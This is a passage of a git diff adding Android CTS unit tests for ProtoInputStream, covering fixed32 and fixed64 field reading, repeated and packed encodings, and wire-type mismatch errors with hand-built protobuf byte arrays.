+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(int val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED32;
+        final long FIELD_ID = fieldFlags | ((long) 90 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.fixed32Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.fixed32Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x15,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x25,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                // 6 -> 1
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x15,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x25,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED32;
+        final long FIELD_ID = fieldFlags | ((long) 91 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.fixed32FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.fixed32FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.fixed32FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_FIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> 1
+                (byte) 0x32,
+                (byte) 0x08,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x08,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x08,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x08,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[0]);
+        testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED32;
+        final long FIELD_ID = fieldFlags | ((long) 92 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.fixed32FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.fixed32FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.fixed32FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x0d,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x04,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readInt(FIELD_ID_1);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readInt(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readInt(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed fixed32)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readInt(FIELD_ID_6);
+                        // don't fail, fixed32 is ok
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed64Test.java
new file mode 100644
index 0000000..8aa5cb3
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed64Test.java
@@ -0,0 +1,648 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamFixed64Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> 1
+                (byte) 0x41,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x19,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x21,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x29,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x31,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x39,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[] results = new long[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+        assertEquals(Long.MIN_VALUE, results[5]);
+        assertEquals(Long.MAX_VALUE, results[6]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+        testReadCompat(Long.MIN_VALUE);
+        testReadCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(long val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED64;
+        final long FIELD_ID = fieldFlags | ((long) 100 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.fixed64Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.fixed64Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x09,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x19,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x21,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x29,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x31,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x39,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                // 8 -> 1
+                (byte) 0x41,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x09,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x19,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x21,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x29,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x31,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x39,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED64;
+        final long FIELD_ID = fieldFlags | ((long) 101 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.fixed64FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
